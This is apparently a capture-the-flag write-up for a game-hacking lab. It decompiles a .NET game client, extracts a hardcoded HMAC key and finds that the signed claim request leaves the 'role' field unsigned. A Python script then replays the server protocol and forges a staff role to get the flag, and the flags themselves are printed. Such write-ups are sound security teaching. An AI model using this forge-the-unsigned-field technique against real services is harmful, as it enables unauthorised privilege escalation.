Skip to Main Content
Grand Larceny Auto II — The Vault Was a Decoy Back to Top

Grand Larceny Auto II — The Vault Was a Decoy

By shadowe1ite
4 minutes

the setup

Part 2 is almost the same build as part 1, so I tried the part-1 trick first: Cheat Engine my stars to six and go for the vault. But it doesn’t crack open offline this time — the vault phones a server, runs a “proof of play,” and once the run is done it hands back a flag with a catch:

THM{n1c3_dr1v1ng_but_th4ts_th3_wr0ng_v4ult}

“Proof of play accepted — but this is civilian access… the real vault is staff-only.” So the part-1 move still earns a flag — just the lesser one. The real flag lives on the server, behind a higher tier.


poking at it first

Same first move — pull the strings out of the DLL.

strings -el -n 5 data_.../GrandLarcenyAuto.dll | less
http://gla2.thm
GLA::vault::key::v1::stars=
Proof of play accepted — but this is civilian access.
(There's a higher tier of access...)
Staff access granted. That's the real score.

So there’s a server (http://gla2.thm), a “proof of play” you send it, and two tiers of access — civilian and staff. And this time the real flag isn’t in the binary at all; I grepped and found nothing but the decoys.

Decompiled it with ILSpy again (ilspycmd -p -o ./decompiled GrandLarcenyAuto.dll) and checked the vault first. In part 1, TryOpen() did real crypto — SHA256 a key, XOR it over a sealed blob. Here it’s gutted:

That’s the whole method — it reads WantedStars, ignores it, and returns a hardcoded THM{th3_v4ult_w4s_4_d3c0y}. No star check, no crypto. So the offline vault really is a decoy — that string is the bait, not something you reach in normal play.

So what talks to the server? I grepped the decompiled source for the host from the strings:

That points straight at a new class this build didn’t have before — PoPClient (proof-of-play client). It’s a small HTTP state machine, and this one wasn’t obfuscated, so it read straight:

public string ServerUrl = "http://gla2.thm";
static readonly byte[] SignKey =
    Encoding.UTF8.GetBytes("gla2_crew_sign_v1_2f9b6c8ad14e");

// POST /session {}       -> { session_id, token, stash_order:[a,b,c] }
// POST /checkpoint {...}  -> { ok, step, next, token }
// POST /claim {...}       -> { flag, tier, note }

The flow: open a session, send a signed checkpoint for each step in order — heat5, stash{a}, stash{b}, stash{c}, vault — then claim the flag. Everything is signed with an HMAC:

static string Sign(string msg) => HMACSHA256(SignKey, msg).ToHex();
// checkpoint sig = Sign(sessionId + "|" + step + "|" + token)
// claim      sig = Sign(sessionId + "|claim|" + token)

Standard signed-request stuff. Then I read Claim().


the bug

public void Claim() {
    string sig = Sign(sessionId + "|claim|" + token);
    Post("/claim",
      "{\"session_id\":\"" + sessionId + "\"," +
      "\"role\":\"player\"," +           // hard-coded
      "\"token\":\"" + token + "\"," +
      "\"sig\":\"" + sig + "\"}");
}

The client always claims as role: "player" — which the strings said is civilian access. And the signature only covers sessionId + "|claim|" + token. role isn’t in it.

There’s also a method the game computes but never calls:

public string DeriveStaffRole() {
    string s = "heat5_stash" + StashOrder[0]
             + "_stash" + StashOrder[1]
             + "_stash" + StashOrder[2] + "_vault";
    return SHA1(s).ToHex();      // the staff role
}

So the game already knows how to build the staff role — a SHA1 of the stash path — it just never sends it. That’s the whole thing: do the proof of play honestly, but on the final claim send role = DeriveStaffRole() instead of "player". The signature still checks out because it never covered role.


talking to the server

You could proxy the game and edit role on the wire (it’s unsigned, so it goes through). But I had the sign key and the whole protocol, so I scripted the handshake in Python instead.

import json, hmac, hashlib, urllib.request, time
BASE, KEY = "http://gla2.thm", b"gla2_crew_sign_v1_2f9b6c8ad14e"
def sign(m): return hmac.new(KEY, m.encode(), hashlib.sha256).hexdigest()

s = post("/session", {})
sid, tok, order = s["session_id"], s["token"], s["stash_order"]

gla2.thm only resolves on the room network — map it in /etc/hosts (MACHINE_IP gla2.thm) or just point the script at the IP.

First run died immediately:

[!] heat5  ->  HTTP 425  {"error":"too_fast","need":6,"got":0.07}

HTTP 425 Too Early. The server actually enforces proof of play — you have to wait ~6 seconds between checkpoints, since a real player can’t rob a stash in 70 ms. Sleep it off. Next run died one step later:

[+] heat5   -> next: stash0, token: "EHlh..."
[!] stash0  ->  HTTP 401  {"error":"bad_token"}

The token rotates every checkpoint — each response hands you a fresh one to sign the next request with (the client does this quietly). Carry it forward and the chain walks:

steps = ["heat5"] + ["stash%d" % i for i in order] + ["vault"]
for st in steps:
    time.sleep(6.4)                              # beat the too_fast gate
    r = post("/checkpoint", {"session_id": sid, "step": st,
                             "token": tok, "sig": sign(sid+"|"+st+"|"+tok)})
    tok = r["token"]                             # rotate

Then claim as staff instead of player:

role = hashlib.sha1(
    ("heat5_stash%d_stash%d_stash%d_vault" % tuple(order)).encode()
).hexdigest()
time.sleep(6.4)
print(post("/claim", {"session_id": sid, "role": role,
                      "token": tok, "sig": sign(sid+"|claim|"+tok)}))

The response comes back with no note field — the “Staff access granted” tier, not civilian.

The flag (hover to reveal):

THM{Th4ts_th3_wr0ng_g4m3_t0mmy}


wrap up

Part 1 was a memory game — flip a number, open a door. Part 2 is an auth game: the flag lives on a server, and the bug is that they signed everything about the claim except the field that decides your privilege. Play the run honestly, swap one unsigned field, get the real flag.

I used ILSpy to read the client and a bit of Python to replay the protocol. Two different bugs in the same silly little game — a good one.

thanks for reading. part 1 is here if you skipped it.


Buy Me a Coffee if you liked this one